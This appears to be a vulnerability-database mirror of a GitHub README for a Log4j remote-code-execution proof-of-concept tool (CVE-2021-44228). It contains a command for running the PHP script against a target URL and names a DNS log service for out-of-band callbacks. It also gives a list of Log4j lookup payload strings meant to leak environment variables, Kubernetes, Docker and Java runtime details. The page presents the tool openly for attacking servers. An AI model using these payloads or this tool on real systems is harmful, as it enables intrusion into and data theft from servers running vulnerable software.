来源

关联漏洞

描述

Log4j RCE - (CVE-2021-44228)

介绍

# Log4j-RCE
Log4j RCE - (CVE-2021-44228)
![Test Image 1](https://raw.githubusercontent.com/momos1337/Log4j-RCE/master/poc.jpg)

### How To Run?
```sh
php log4j.php https://1337.com
```

#### Requirements
- PHP CURL
- PAYLOAD
- DNS LOG (Collaborator Burpsuite or use dnslog.cn)

#### List Payload
![Test Image 1](https://raw.githubusercontent.com/momos1337/Log4j-RCE/master/payload.jpg)
```sh
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}
```

#### Special Thanks
- Hidden Ghost Team
- IndoSec
- IndoXploit

文件快照

 [4.0K]  /data/pocs/21acac8a03cc88067993f07c5da54379d136ae38
├── [2.1K]  log4j.php
├── [ 61K]  payload.jpg
├── [ 44K]  poc.jpg
└── [1.2K]  README.md

0 directories, 4 files

备注